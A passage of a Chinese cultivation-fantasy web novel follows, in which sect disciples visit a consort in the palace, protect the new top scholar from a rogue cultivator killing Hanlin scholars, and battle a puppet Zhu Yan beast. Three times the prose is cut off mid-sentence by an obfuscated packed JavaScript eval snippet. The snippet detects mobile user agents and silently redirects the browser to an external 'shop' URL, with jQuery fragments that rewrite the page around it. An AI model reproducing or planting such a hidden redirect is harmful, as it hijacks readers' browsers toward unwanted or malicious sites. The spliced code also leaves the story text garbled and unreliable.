“天亮前我定回来,不会误事。” 元泽道:“我们不是这个意思。魏师弟,现今还不知瑾妃娘娘那儿什么情况,多一个人多一份力量。 “对对,”唐朵朵连连点头,“我们是想帮你,才不是去看热闹呢。” “……” 虽然但是,魏则荣的行动已经暴露,不管他情不情愿,都只能带着这帮人一起走。 月黑风高夜,宫内守卫没有减少,但元泽等人毕竟是修士,想要掩藏行踪还是很容易。 魏则荣打头,五个人身形飞快,在阴暗处留下一排残影。 元泽殿后,她前头是苏遗星。半路她突然觉得好笑,从前世到现在,自己也是二十好几的人,居然跟着这群十八九岁的少年后头偷偷摸摸的。 不多时,魏则荣在一座宫殿前停下,后方四人也跟着刹住脚。 苏遗星盯着门头牌匾上的三个字,忍不住展示自己学习了大半天的成果,“浣月宫。” 他偏过头,但没人在意,几个人已经站在墙根底下准备翻墙。 “……” 还是元泽发现少人,回头招手,“苏遗星?” 苏遗星的心情重新明媚,“来了。” 浣月宫已经熄了烛火,几个人猫在漆黑一片的院子里。魏则荣独自摸进屋内,将假寐守夜的何枝拍醒。 何枝迷迷糊糊睁眼,被陌生的黑影吓了一跳,就在她惊恐叫喊的前一瞬,黑影说话了,“是我。” “……殿、殿下。” “嗯。” 何枝连滚带爬地往寝房里钻,“我去叫娘娘。” 不消片刻,寝房深处传来脚步声,“荣儿、荣儿在哪?” “母妃。” 对修仙之人来说,黑暗中也完全能视物。魏则荣看见一个人影朝他快步走来,还是记忆中的那张温柔的面孔,只是眼尾生了细纹,嘴角也不像曾经那般总是蓄着笑意。 瑾妃伸出手,魏则荣立马接住,喉咙有些发紧,“母妃,这些年,您……” 他想问这些年您过得好不好,可根本不用问。 如果过得好,怎么会连他回来都不能第一时间见面? 方才若非他主动询问,父皇怕是一句都不会提及母妃。 这一切,与他五年前离开时大相径庭。 “荣儿……”瑾妃声音颤抖眼眶发热,压抑多时的情感像潮水一般涌来。 突然有烛光亮起,瑾妃看清了长高很多的魏则荣,也看清了他身后四双亮晶晶的陌生眼睛。 “……” 瑾妃一下噎住,眼泪卡在眼眶中。 何枝端着刚点燃的烛台也有些发愣,怎么这么多人? 15. 平妻 小小的一方烛台摆放在桌子正中央,众人围坐一圈。 何枝在外头放风。 “荣儿……他们?” 瑾妃出来得急,只在寝衣外头穿了件中衣,头发没梳,还险些在这一群少年人面前哭出来,委实尴尬。 唐朵朵笑容可掬,“我们都是魏师弟的同门,您的事就是师弟的事!师弟的事就是我们的事!” 她音量不高,但语气十分兴奋,“您受了什么委屈尽管说!我们一定给你讨回公道!” 魏则荣点头,他是这个意思。 唐师姐说出来也好,他知道自己不善言辞,还真没那么容易将这些话说出口。 瑾妃轻叹了一口气,“我哪有什么委屈?是璇儿。” “璇儿怎么了?” 魏则荣面色微变,魏似璇是他一母同胞的妹妹。他辞别那年小姑娘没满十岁,眼眶红红地躲在后面,也不愿意上前同他说一句话。 他知道妹妹是怪自己的。 “璇儿还有三个月便及笄,陛下要给她和新科状元赐婚。” 唐朵朵嘀咕,“怎么哪的皇帝都爱赐婚。” 瑾妃敛眉,“状元郎已有发妻,陛下想让璇儿去做平妻,我怎能同意?” 她几次三番求情,陛下都毫不松口,甚至惹得他厌烦,已多时未踏进浣月宫。 自古以来,没有哪朝天家会主动让女儿去做平妻。就算本人情愿,也慎之重之。以璇儿的性情,怎会看得上见异思迁的男子? 平妻? 做梦。 魏则荣沉声道:“我会想办法,璇儿不想嫁,便不会嫁。” 瑾妃几欲垂泪,“……好。” 今晚他们偷跑过来,保险起见不能多待。魏则荣同瑾妃告别,几人便原路离开。 门口的何枝见人出来,没急着回瑾妃身边,而是看向魏则荣,“殿下,您这次回来,还要再走吗?” 魏则荣脚步顿住。 “如今娘娘在宫中没有倚仗,日子越来越难过,”何枝心中满是酸涩,“大殿下得陛下看重,连带中宫盛宠不衰,娘娘却连公主的婚事都无法左右。” “……” 魏则荣面色有些苍白。 徐丽影侧头,“先回去吧,天亮要见刑部窦大人。” 回去的路上气氛明显沉闷很多,魏则荣走在最后头,连最活泼的唐朵朵都没有说话。 元泽上辈子几乎两耳不闻窗外事。魏则荣是大魏皇子也仅限于听说,也不感兴趣一个皇子为何来修仙。 回到抚仙阁,众人只休息了不到两个时辰,有侍卫来通报刑部侍郎大人来了。 按理应该是魏则荣来负责主要沟通,但他明显心不在焉,元泽作为无为峰的师姐率先开口,“樊大人,此案特殊,还请细说。” 樊源点头,“这是自然。” 半月前,翰林院的两位学士夜间在亭中对弈被杀,只有咽喉一处致命伤,可见行凶者手段狠厉。 刑部即刻展开调查。只是天子脚下发生如此命案,大殿下主张先秘而不宣暗中查探,以免造成恐慌。 翌日翰林守卫增加三倍,但仅仅过去三天,又一位翰林学士被杀——在自己的寝殿中。 没有人再敢怠慢,翰林院被封锁,除了刑部,所有人都不得入内或离开。 凶手了解翰林院的详细情况,不排除内部作案的可能。两天时间,刑部将翰林中的人都审了一遍,没有找到符合特征的嫌疑人。 就在一筹莫展之际,又一位翰林学士在刑部眼皮子底下丧命,裁刀穿喉当场气绝。 樊源语气发沉:“我入刑部二十年,从未见过这般大胆的凶手,天子脚下如此重地,连杀五人,全身而退。” “你们可与他交过手?”徐丽影道。 樊源点头,“那之后我们将翰林的人全部集中在刑部,并设下埋伏。不出两日,凶手果然现身。” 大魏繁盛至今,当然不缺能人异士,加之他们提前设伏,虽不能缉拿凶手,但保屋内人平安还是绰绰有余。 舞文弄墨的学士没有离危险这么近过,被外头的打斗声吓得不轻,竟然想从后窗逃跑。 “玄卫阵型被冲乱,那诡修趁机夺了一只弩箭,最先跑的人被当胸一箭射死。”樊源叹气。 唐朵朵听得直皱眉,“你们事先没嘱咐他们不要跑吗?” “如何没说啊……” 徐丽影拍了拍唐朵朵的肩膀,“当务之急查到凶手是谁,你们可有什么线索?” 怀荧看向满脸愁苦的刑部侍郎,“修诡道的代价极大,此人不会无故而来,你不若查查五个死者,身前有没有得罪过什么人。” “自然是查过的,五人家世皆清白,处事也未有不妥。” 杜玉华道:“除了同为翰林学士,他们还有什么共同之处吗?” 樊源思忖片刻,“都参加了今年的殿试,家境优渥。” 徐丽影道:“你们可有人认识那诡修?” 樊源即道:“不识。诸位仙君还是尽快跟我去刑部吧。” 一直听得很认真的苏遗星喃喃,“奇怪。” 何止奇怪,简直见鬼。元泽不太相信一个正常人费劲巴拉修诡道,就为了跑魏都翰林院杀几个无辜学士。 翰林众人还在刑部。他们到定中城的消息没有对外散布,只要凶手还敢来,那便是瓮中捉鳖。 “还有一事,”樊源拱手,“请仙君分几人去状元府,以防他对今年的新科状元下手。” 新科状元? 元泽几人视线落在后面的魏则荣身上,对方果然抬头,“好,我去。” 于是七人兵分两路,元泽、苏遗星和魏泽荣去状元府,剩下的人去刑部。 分别时唐朵朵从自己的挎包里拿出一面巴掌大的长方形水镜,“这是我的独门法器,千里之内可文字、语音、画面沟通,还有传送功能,三天可用一次,一次只能传送一人。” 她看了一圈,将水镜递给元泽。 这次不用在马车分配上耽误时间,倒是临分别时,杜玉华对元泽道:“阿姐,小心为上,无论发生什么先保证自己的安全。” 元泽点头,“你也是。”说完她便转身上了马车。 杜玉华眸光淡下来,胸腔中好像烧起一团火,一掌扑下火苗四散,却还烧得起劲。 马车行驶在中街,外头都是热闹的叫卖和谈笑声,车内气氛冷凝,魏则荣坐姿笔挺,一言不发地抿着唇。 元泽其实很想探出头瞧瞧,但对面人目光沉静严肃,她不太好动作。 但苏遗星不看眼色,他自顾自掀开一角窗帘,扭身张望,“好多我没见过的东西,元泽。” “……我来看看,”元泽再也按耐不住,跟着凑了过去。 魏则荣缓缓闭上眼睛。 马车在状元府一处不起眼的后门停下,小厮早早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250359|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等候在旁。 “仙君请跟我来。” 魏则荣一马当先走路带风,元泽在后面小声跟苏遗星讲:“待会要是魏师弟说不过人家,我们要帮忙。” 不是元泽多心,魏则荣一贯少言寡语,对面可是个状元。 从后院绕过前厅,小厮带三人停在了书房前。 “太清宗的仙君来了。” 书房外头围了一圈手持棍剑的侍卫家仆,其中一人闻言,转身进了屋子。 看来早有准备啊,元泽兴中默数,就前面这一块也不下二十人。 片刻后元泽三人被放了进去。 “你们可算来了!” 才跨过门槛,一个身穿锦衣的男人瞬间怼到面前,不过二十出头的年纪,是位年轻的状元。 “我这些天连觉都睡不安稳!仙君你们可得保护好我啊!” 这人倒是和她想象中文绉绉的样子大相径庭,元泽点头,“自然。” “好好好!我姓书,单名一个盛字,”书盛拱了拱手,“敢问三位仙君尊姓大名?” “元泽。” “苏遗星。” 书盛的目光从两人身上移向魏则荣,正等着对方也报出自己的名字,不料倏地对上一双十月寒潭般的眸子。 “……这位仙君?” 魏则荣淡声道:“魏则荣。” “魏……”书盛一怔,片刻后抬手附身,“参见二殿下。” 魏则荣不说一句废话,“你既有发妻,何故要招惹璇儿?” 书盛神色微僵,“我……惭愧,揭榜那日我远远见过公主一面。倾国倾城,非花非雾,春风十里独步,实在难以忘怀。” 眼见魏则荣的表情愈冷,书盛连忙道:“没过问公主意愿,是我考虑不周。等此间事了,我定请陛下收回成命。” 元泽略感意外,她还以为要费好一番口舌,没想到这状元郎这么好说话。 “我还有文书要看,你们在这别走行吗?”书盛搓了搓手,“你们想吃什么喝什么,尽管吩咐下人送来。” 原来不是好说话,是怂。怕惹了魏则荣,她们不管他。 不过他就这么确定那个诡修会对他下手?甚至于早早就布下了防卫。 元泽倚靠在窗边,状似不经意问:“诡修的真实身份,你有头绪吗?” 书盛干笑两声:“刑部的大人都查不出来,我又从何知晓?” 话说得倒是没毛病。元泽道:“随口一问,大人忙吧。” 元泽从乾坤囊中拿出水镜,打算问问徐丽影那边的情况。 余光瞥见一道红影移向书桌,她抬头,只见苏遗星背着手向桌面张望,还伸手指了指,“这是什么字?” 元泽:“……” 书盛表情有瞬间的凌乱,“……这是‘警’字,意为敏锐、告诫。” “哦,”苏遗星神色认真,甚至有些严肃,“多谢。” “……” 书盛心跳陡快,背后不自觉浮出一层冷汗——他这是什么意思?难道他发现端倪了? 就在这时,元泽手中的水镜突然振动起来,水波般的镜面上浮现出一个绿色的小型法阵,她伸出拇指碰了碰。 “元泽师姐,”水镜里出现两个靠在一起脑袋,徐丽影道:“我们有件重要的事要告诉你。” 镜中传出的声音只有接触法阵的人能听见,元泽靠回窗边,示意对方直接说。 16. 朱厌 “樊源没说实话,那诡修是当年的解元,名叫贺明澜,曾与那五位死者是同窗。” 唐朵朵补充,“还有新科状元书盛,他们都出自岚山书院。” 徐丽影眸光凝重,“师姐,事情没那么简单,一定要多加小心。” 居然是这样,元泽不动声色撇了眼埋头疾书的书盛,没问徐丽影如何得知,只是点头表示自己知道了。 收起水镜,元泽扬声道:“苏遗星,不要打扰大人处理公务。” “哦,”苏遗星听话地回到元泽身边。 桌案前的书盛明显放松下来,活爹终于走了。 接下来时间都平安无事,午时过后,状元府来了一位意外的客人。 “大人,五公主来了,已经到了正厅。”小厮匆匆来报,公主身份尊贵,状元府于她完全随意进出。 书盛一愣,下意识去看魏则荣,“殿下…我不知公主会来……我们一同去前厅吧?” 魏则荣起身理了理袖袍,率先抬步走了出去。 公主仪仗停在院子里,三名侍从在旁等候。 厅堂明亮,魏子璇坐于主位,钗环衣裙雅致又不失清贵,五官肌肤每一处都仿佛精雕细琢,容光熠熠。 一仆从低头哈腰地端上来一盏茶,她撇也没有撇一眼。 堂外响起脚步声,她抬起头,见到的却不是那位状元,而是一张熟悉又陌生的面孔。 置于身前的手瞬间捏紧,她咬紧牙关,眼神却瞬间冷了下来。 倒是魏则荣有些迟疑,“璇儿?” “仙君怎么在这儿?”魏子璇声音也淡,“不是要查翰林的案子。” 魏则荣嘴唇动了动,不知该如何作答,“是……” 元泽跟在后面,简直不忍直视。虽然她也不是擅长交际的人,但她自认为自己一定没有魏师弟这么糟糕。 魏子璇冷哼一声,“书盛何在?” 书盛从后面挤上来,“禀公主,臣在这。” 他飞快往上瞟了一眼,再次为美人倾倒。可惜,差一点点。 “我有话要单独与你说,”魏子璇没看魏则荣,“你寻一处僻静的地方,让无关人等远离。” “这……” 书盛自然愿意听公主的,但他也有些惧魏则荣,“二殿下。” 魏子璇皱眉,“你问他做什么?他离宫多年,恐怕早忘记自己的皇子身份。” 魏则荣抿了抿唇,低声道:“按她说得做吧,” “是。” 状元府后院的一处八角亭内,元泽三人坐立其中,魏则荣抿唇沉默地看着不远处紧闭的屋门。 元泽趁此机会将水镜中徐丽影的话告诉两人,苏遗星露出果然如此的神情,“就知道他们有事瞒着。” 这件事说重要也没那么重要,但隐瞒不发绝对有问题。 前世的这个时候她在出另一个外派,回程倒阴差阳错与他们是同一天。因为也是那一天,太清宗收到母亲那边的信函:父亲病重,恐时日无多,望最后能再见女儿一面。 元泽垂下睫毛,目光落在一片孤零零的枯黄落叶上。 算算日子,他们两天后回了宗门。除去善后和回程的时间,凶手很可能今天就会现身。 元泽倏抬头,应该不会那么巧吧? “有别的气息进去了!”几乎是同时,苏遗星的声音响在耳边。 真这么巧?! 元泽与魏泽荣一左一右逼近,“嘭”地一声巨响,门扉从里面被轰开,木屑四溅尘烟扬起,一个人影摔了出来,在地面拖出一长道影子。 元泽召出灵剑直指屋内。 魏则荣直接闪身进去,“璇儿!” 躺在地上的书盛无人问津,苏遗星捧着方才元泽扔给自己的水镜,捣鼓片刻传过去一句话音。 状元府明处暗处的守卫皆显出身形,将近百来人,甚至檐上还趴着一片弓箭手。 元泽心下微叹,真能藏。 “师弟?” 才冲进去的魏则荣缓步退出,“不要轻举妄动。” 须臾,两道身影出现在众人前面。 魏子璇裙装整齐,只是脖子上横着一把短刀,她身后的男人一身黑衣身材瘦削,眉目间一片冰冷的戾气。 年纪与书盛差不多。 书盛? 元泽忽地转头,顺着地面拖长的血迹看过去——书盛正浑身是血一动不动地躺着。 苏遗星立刻走近探了探鼻息,虽然微弱但还有气,他看向元泽点了点头。 黑衣男人淡道:“刀剑无眼,我劝各位还是不要乱动。” “好大的胆子!杀了翰林那么多人,还敢挟持公主殿下!” 来人从暗处走出,一身银色轻甲,他微微抬手,守卫们立刻举起武器,俨然是这些人的头领。 居然是魏则明身边的副卫,这些人八成也是魏则明的人。 黑衣人冷冷看了他一眼,“狗仗人势。” “你!”当众被下了面子,副卫怒从心起,“这么多人,还有太清宗的仙君都在!你以为你逃得掉?!放了公主殿下!你还能多活片刻。” 这么僵持下去也不是办法,元泽心思如电,前世是怎么破局的? 前世的魏子璇没出事,否则魏则荣不可能那么快回宗门,且毫无异样。 魏则荣脸色阴沉,连灵剑都未祭出。 元泽视线忽地一跳,他们对面,贺明澜背后的屋檐上悄无声息地爬上两个人,他们举起手中箭弩。 她的视线佯装正常地划过,那箭弩是个法器,但等级很低,大约连黄级都算不上。 难道是这么得手的? “我杀他们,自然是因为他们该死,”贺明澜的视线未偏一下,后背却像突然长了眼睛,揽住魏子璇的腰侧身一躲,反手挥出两道墨水般的浊气。 檐上两人惨叫一声,猛地摔了下来。 “嘭!” 短箭斜插入地面,银芒一闪,地面被炸出半尺深的坑。 “别耍手段,”贺明澜手中刀刃贴近魏子璇的脖颈,“否则我不保证会不会手抖。” 副卫的脸色一黑。 魏则荣单手背在身后,金色的灵光聚于指尖,缓慢凝成针状,“你想要什么直说,放了璇儿。” 玄级功法,透魂针。 将大量精纯灵力汇聚成针,瞬间穿透灵体,只要对方的修为不在自己之上,皆可在三息内压制对方的行动。 天地间的气分为灵气和浊气,诡修用浊气,修为越高,灵台越浑,最后只能变成一个毫无理智的魔物。 贺明澜眉眼间未见浑浊之色,修为应算不得高。 “我想要什么?说得真容易,”贺明澜嘲讽道:“你们这些人啊,随随便便就能操控别人的人生,我只能自己给自己讨公道了。” “什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264863|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么公道要杀那么多翰林学士,”透魂针凝聚需要时间,元泽话音平稳,“贺明澜,你到底是为了什么?” “你怎知我姓名?” “仙君!此人作恶多端,何必与他多费口舌!”副卫横眉倒竖,“妖人!你挟持公主殿下意欲何为!要我们放你走——” “阁下,”元泽转头瞥了他一眼,“请安静,我话还未说完。” “……” 一瞬间副卫脸上的表情精彩极了,苏遗星莫名对这人没好感,看得心里很高兴。转向元泽,觉得她冷冰冰的时候和平常很不一样。 元泽继续道:“或许你可以讲讲你们在岚山书院的故事。” “你……”贺明澜瞳孔微震,“岚山……” 金色流光闪过,贺明澜刹那失语,双手失力垂下,短刀哐当坠地,一根金色细针正扎在他的侧颈上。 魏则荣近前一把将魏子璇拉了过来,魏子璇瞪大眼睛没反应过来,下意识回头看了一眼。 “杀了他!”副卫立即吼道。 元泽皱眉,“住手!” 贺明澜动弹不能,无数弩箭朝他直射而来。 这疯子搞什么?元泽简直想破口大骂。人已经控制住了,难道不该先把事情弄清楚? 她抬起手,扔掉凝了一半的捆缚阵,“归鸿!” 银色长剑呼啸而出,空中弩箭纷纷被斩断。 “仙君你这是何意?!” “你有眼疾看不见她快凝成的阵法吗?”苏遗星指了指躺在地上多时的人,“在这添乱还不如救救他。” “哈哈哈!”贺明澜大笑出声:“这么急着要我的命,是不是怕我把你们做的好事说出来?” 副卫脸色阴沉,右手悄然背至身后。 “当今的大皇子魏则明在岚山书院收了多少人心?只要不从,就威逼利诱无所不用其极——” 咚、咚、咚。 苏遗星双目圆睁,擂鼓般的心跳在耳边炸响,一股来自灵魂深处的战栗传遍四肢百骸,他嘴唇抖了下,“元泽!有东西来了!” 元泽没来得及回头,只觉得上空传来一阵令人心悸的压迫感,她飞速后撤同时喝道:“躲开!” “轰!” 烟尘四起,元泽抬手挥开,只见庭院中央立着一只白首赤足的巨猿,足有一丈高,巨猿四脚触地双目空洞。 元泽难以置信,“…朱厌?” 早在魏国终结乱世时,朱厌就应该死了。 魏则荣召出灵剑,低声对魏子璇道:“快走。” 朱厌是死了,这怪物是当时的炼器师用朱厌妖丹炼制的傀儡,傀儡会与每任国主或国主认定的继承人结成血契,听命于对方。 副卫阴恻恻地睨了几人一眼,“撤。” 百来个护卫潮水般退开,顺道将地上的书盛拖走。 魏子璇咬了咬牙,握住魏则荣的手腕,“你给我活着出来,否则我今生绝不会原谅你。” 她缓缓后退,与半跪在地上的贺明澜对上视线。曾几何时,她与他就是这般初见。 魏子璇收回视线,蓦地转身离去。 巨猿的头颅缓缓转动,朝向贺明澜的方向。 “这里太危险了,你也快走。”元泽退到苏遗星身边,这才发现对方的脸色有些苍白,“受伤了?” 苏遗星摇摇头,正准备说话,那巨猿突然扭身,双手成锤,朝他砸了过来! 17. 后悔 攻击来得太过突然,还好元泽反应够快,扯住苏遗星的胳膊后撤。下一瞬,她们站过的地方崩出一道四分五裂的豁口。 “怎么回事?”元泽看向魏则荣。 朱厌明显是想攻击贺明澜,但不知突然发什么疯,半道举着拳头就朝苏遗星砸了过来。 魏则荣将朱厌傀儡的血契简短说明,而后道:“朱厌被别的东西吸引,短暂地挣脱了血契控制!” 被什么东西吸引自然不言而喻。 朱厌是上古凶兽,一定察觉了苏遗星是妖,妖兽间的弱肉强食是底层法则。它很可能想吞了苏遗星的妖丹来增强自己的力量。 元泽的脸色刹那间变得极其难看,她眼前花白一瞬,好像看见满天血光里,一张凄凄苍白的脸庞——她猛地扣住苏遗星的手腕。 苏遗星吸了口气,忍着疼没说话。 巨猿的身体猛然抖动,似乎被什么东西强按着转回去,咆哮冲向贺明澜。 贺明澜中了透魂针伤势不轻,拖着身体躲了一击,却没可能捱过第二击。 如山的铁拳砸下,贺明澜身前突然出现一道人影,金光闪过,魏则荣急退数步,喉咙间漫上一股血气。 傀儡朱厌的实力起码在元婴期圆满。 朱厌杀死贺明澜恐怕比捏死一只蚂蚁还简单。 贺明澜喘着粗气,看出魏则荣不敌,“不用管我,你们逃吧。” 元泽浑身散发着一种冰冷的气息,灵气的运转都微微有些停滞,她再次压低声音:“快走。” “我…”看着元泽的模样,苏遗星没能将话说出来,“……好。” 他退后几步,眼睛牢牢地锁在元泽身上。他留在这确实帮不上她的忙,八成还会拖后腿。 都怪自己,是他太没用了。 “吼——” 朱厌突然发出一声沉闷嘶哑的吼叫,再次扭过自己的身体,朝苏遗星扑了过去! 吼声带着浓重的杀伐之气,贺明澜当即喷出一口鲜血,魏则荣护体真气被激出,勉强提剑去拦。 魏则明想灭贺明澜的口,朱厌想要苏遗星的妖丹。 元泽只觉得朱厌叫的声音有些大,苏遗星几乎半边身体都不受控制地战栗。元泽拉他,躲避的动作就慢了半怕。 元泽咬牙,准备把自己与他换个位置。苏遗星察觉到了她的想法,使了一个反劲,元泽心跳差点停了,“犯什么蠢?!” 筑基期的狐狸这一下得给拍成肉饼。 归鸿嗡鸣着挡在前面。 “嘭!” 巨大的冲击力扑上来,归鸿被震得老远。 好在争取了一刻时间,魏则荣赶到,三个人同时被拍在了院中的假山上。 本命灵剑与灵台相连,元泽猛地吐出一口血。 她用手背狠狠一蹭,金丹还是太弱了。 苏遗星反而是三人中伤得最轻的人,见元泽吐血,他顿时心如刀绞,“你没事吧?!都怪我。” “跟你没关系。” 但元泽现在确实很后悔,她不该带苏遗星出来。如果按前世的做,苏遗星至少现在不会有生命危险。 魏则荣撑起身体,“师姐,你先走吧。” “闭嘴。” 元泽没有哪一刻比现在更恨身体里的破禁制。 朱厌的动作反而慢了下来,两边都是唾手可得的猎物,选择先对哪一边下手似乎有点困难。 “魏师兄!元泽师姐!” 不远处突然响起一道熟悉声音,元泽三人同时抬头,不约而同松了一口气。 杜玉华率先落地,“阿姐你怎么样?” 元泽摇头:“没事。” “给,”徐丽影将三颗丹药递了出去。 突然多了三个人,朱厌明显急躁起来,发出更大声的吼叫。 怀荧眉头微皱,“这怎么会有朱厌?” “晚点再解释吧,”魏则荣冷静道。 唐朵朵是器修,守在外面。眼下她们的战斗力有五个,怀荧、杜玉华:元婴后期;魏则荣:元婴初期;元泽、徐丽影:金丹期。 苏遗星忽略不计。 尽管如此,面对一只元婴期圆满的傀儡朱厌,他们的胜算也不足五成。 但不管几成都得打,众人祭出本命灵剑,飞速与朱厌缠斗在一起。 傀儡力达千钧,吼声夹杂着浓重的杀伐之气,稍被影响反应迟钝,岩石一般坚硬的拳头就直逼面门。 一时间武器与朱厌坚硬皮肉的撞击声不绝于耳,时不时有人被震退出去。 “这么打下去不是办法,”怀荧早就到了元婴后期,相对来说是这些人中修为最高的,“我们破不开它的防御,迟早被耗尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271119|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵力。” 徐丽影应付得最为吃力,“它就没有弱点吗?!” 话音刚落,一只长着翅膀的圆形球体飞到他们头顶上,里面传来唐朵朵的声音:“傀儡的头颅和身体是不同的两种材料做的,弱点就在脖颈连接处!” 怀荧当即道:“攻它脖颈!” “好!” 朱厌傀儡高大四肢发达,动作却意外地灵敏迅捷,每当怀荧或者杜玉华要得手的时候,总会被一拳头震开! 扰人行动的吼叫也如附骨之蛆影响她们。 圆球飞了一圈,“再一盏茶时间我就能制作出反制吼声的装备,你们坚持一下!” 贺明澜已经晕死了过去,耳廓渗出血迹。 苏遗星吃了丹药,没那般狼狈,他用指尖掐着自己的掌心。 傀儡不会累,但元泽她们的动作明显慢了下来。 他深吸一口气,“我来吸引它的注意力!你们趁机下手!” 元泽的脑子没被朱厌喊痛,倒是要被苏遗星气得冒烟,“你说什么梦话?还不走?!” 苏遗星坚持,“这是最好的办法!” “做好了!”唐多多的声音在半空中响起,紧接着,圆球里持续发出一股频率诡异的声音,完美中和了朱厌的吼叫。 两者结合在一起形成无比难听的噪音,却不会再影响神志。 杜玉华道:“就按他说得来!他跟过来总要有点用。” 怀荧:“现在也没别的办法了。” 苏遗星眸光沉静,“元泽,你相信我。” 元泽没说话,徐丽影和魏则荣隐约明白这是默认的意思。 “所有人同时攻击。” 怀荧退出一个身位,苏遗星向外奔去。察觉到猎物要跑,朱厌立刻丢下众人,猛地从那个豁口扑了出去。 “就是现在!” 朱厌的动作太快,短短一瞬间,已逼至苏遗星身后。 元泽掐剑决的手都有些抖,该死的狐狸最好说到做到。 “轰——!” 一声巨响,数道剑决炸开,朱厌的拳头砸在地上,身体僵在原地,“啪嗒”一声,头颅滚落,断口处泛着焦黑,发出一股木材烧灼的焦味。 红衣少年已经不见了踪影。 元泽缓缓呼出口气,是她心乱,忘了水镜在他身上。 18. 蛊惑 “诶呀!” 唐朵朵在状元府不远处的墙角猫着,面前突然凭空出现一个人影,劈头盖脸地朝她倒了过来,她正要伸手扶,对方已经按住墙壁站稳了。 “你没事吧?” 苏遗星第一次被瞬间传送,加上传的时刻也很凶险,不免手脚发软头昏脑涨。 他眼睫半阖着,眸光微微有些涣散,撑着墙壁的修长手指紧绷着有些泛白。 唐朵朵掏了掏乾坤囊,只摸到一堆她自己炼制的法宝灵器,没寻到一颗丹药。 她有些懊恼,怎会如此。 这可是与他打好关系的好机会,她新炼的法器正缺一个美人做模特,到时候她拍一个美美的宣传片,不得狠赚一笔。 正想着,五个打完boss的人回来了,唐朵朵招了招手,还没说话,就见元泽一把将苏遗星扯到一边,面色相当难看。 “她们?”唐朵朵看向徐丽影。 徐丽影摇头,示意她不要问了。 “魏师兄,真的是大殿下动的手吗?” 魏则荣背着昏迷的贺明澜,“傀儡朱厌有血契在身,除了他只有父皇能操控。” 一时间几人都沉默下来,杜玉华撇向树荫下的两个人影。 “元泽,你生气了吗?”苏遗星咽下元泽给培元丹,小心觑了她一眼,“别生气了吧……” 少年嘴唇微抿,琥珀色的眸子飘忽一圈,露出一个讨好的笑容。 元泽闭了闭眼。 除却当时的心惊肉跳,她其实没有生气。 准确地说是没有生气他的气。 唐朵朵在水镜里加了传送阵,苏遗星只要动作够快就不会出事。是她忘记了。 她气的是自己现下的处境,金丹期的修为太过没用。 她的行为改变,间接改变了很多事。 前世她虽没有参与这项外派,但她无意间听弟子们谈论过,定中城的诡修被徐、魏二人联手诛杀,魏则荣封了爵位,魏则明成了太子。 所以前世一定没有出现该死的傀儡朱厌。 这次的变数有惊无险,但下次呢? 一切都是未知的。 她能否借到方圆密界,借到是不是就万无一失? 沈若淳是否会被涟漪牵动,或者发现蹊跷提前出关? 元泽的脑中一团混乱,她是决计不能重蹈覆辙的,否则重生又有什么意义? “元泽?” 手上一暖,有什么东西包裹了上来。 她睁开眼,只见苏遗星凑得很近,一张明艳漂亮的脸占满视野,他双手握着她的手,“你不舒服吗?是不是方才受伤了?” 元泽深吸一口气,“没有。” 微风拂过树影,苏遗星的额发被吹乱了些许,他再次保证,“对不起,我以后一定听你的话,不会再让你担心。” 有些事会变,但有些人是不会变的。 她也绝无可能重复前世的所作所为。 元泽反手捏了捏他的掌心,“没事,我没怪你。” 浠水城孙芝兰的死因大白、苏遗星也免受戒律阁刑罚。定中城贺明澜知晓甚多,岚山书院的旧事魏则明牵扯多少? 这些前世被掩埋的东西,今生都浮现出来。 并不是坏事。 她只需要再小心谨慎一些。 人总不会一直倒霉的。 听她这样说,苏遗星总算松了一口气。 元泽这么好的人,他怕是用尽了毕生的运气才能与她相逢,万万不该惹她不顺心。 “你们在做什么?” 突然,一道颇为不善的话音在两人耳边响起。 杜玉华瞟了眼她们握在一起的手,从鼻腔发出一声轻嗤,果然是个不知羞耻的狐狸精。 身上明明放着水镜,还在元泽面前说些酸掉牙的可怜话,假惺惺地装模作样。 可怜她从小就缺爱的姐姐,怕不是被迷得连自己姓甚名谁都忘了。 “阿姐,我们正在商量,是先等贺明澜醒,还是先进宫面圣。”杜玉华看向元泽,“你有什么想法?” “恐怕由不得我们选,”元泽望向状元府外渐渐汇聚起来的人群,她们这一架打得动静相当大,府里的屋舍倒塌一大半,朱红大门更是被轰没了半边。 怀荧也走了过来,“什么意思?” “乱成这样魏则明都没有出面,他大概已经进了宫,”元泽扯了扯嘴角,嘲道:“再在皇帝面前将事情颠倒黑白乱说一通,我们都得成诡修的同伙。” “……”怀荧微微瞪大眼睛,“真的?” 元泽很有经验,“八成假不了。” 